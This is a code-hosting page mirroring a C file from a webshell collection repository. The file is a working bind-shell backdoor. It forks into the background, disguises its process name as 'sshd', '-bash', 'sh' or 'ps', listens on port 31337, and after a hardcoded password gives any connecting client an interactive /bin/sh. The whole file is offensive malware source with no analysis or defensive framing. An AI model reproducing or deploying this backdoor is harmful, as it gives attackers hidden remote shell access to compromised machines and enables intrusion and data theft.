mirror of
https://github.com/tennc/webshell
synced 2024-11-26 21:20:18 +00:00
72 lines
No EOL
2 KiB
Text
72 lines
No EOL
2 KiB
Text
#include <string.h>
|
|
#include <netinet/in.h>
|
|
#include <arpa/inet.h>
|
|
#include <unistd.h>
|
|
#include <netdb.h>
|
|
#include <stdlib.h>
|
|
#include <sys/socket.h>
|
|
|
|
#define BUFSIZ 256
|
|
|
|
|
|
int main(int argc,char *argv[]){
|
|
int insock,s,port=31337;
|
|
char pass[BUFSIZ+2]="foo";
|
|
ssize_t size;
|
|
struct sockaddr_in servaddr,cliaddr;
|
|
unsigned int len;
|
|
char *newname;
|
|
|
|
|
|
if(fork()!=0)
|
|
return 0;
|
|
|
|
srand(time(NULL));
|
|
switch(rand()%4) {
|
|
case 0:
|
|
newname="sshd";
|
|
break;
|
|
case 1:
|
|
newname="-bash";
|
|
break;
|
|
case 2:
|
|
newname="sh";
|
|
break;
|
|
case 3:
|
|
newname="ps";
|
|
}
|
|
|
|
memset(argv[0],0,strlen(argv[0]));
|
|
strcpy(argv[0],newname);/*changeprocessname*/
|
|
close(0);
|
|
close(1);
|
|
close(2);
|
|
servaddr.sin_family=AF_INET;
|
|
servaddr.sin_port=htons(port);
|
|
servaddr.sin_addr.s_addr=htonl(INADDR_ANY);
|
|
|
|
s=socket(AF_INET,SOCK_STREAM,0);
|
|
bind(s,(struct sockaddr*)&servaddr,sizeof(servaddr));
|
|
listen(s,10);
|
|
|
|
for(;;) {
|
|
len=sizeof(cliaddr);
|
|
insock=accept(s,(struct sockaddr*)&cliaddr,&len);
|
|
if(fork()==0) {
|
|
char buf[BUFSIZ+2]={};
|
|
send(insock,"pass?",6,0);
|
|
size=recv(insock,&buf,BUFSIZ,0);
|
|
if(strncmp(buf,pass,strlen(pass))) {
|
|
send(insock,"WRONG!\n",8,0);
|
|
close(insock);
|
|
exit(0);
|
|
}
|
|
dup2(insock,0);
|
|
dup2(insock,1);
|
|
dup2(insock,2);
|
|
execl("/bin/sh","sh","-i",(char*)0);
|
|
close(insock);
|
|
exit(-1); /* should not reach this point */
|
|
}
|
|
}
|
|
} |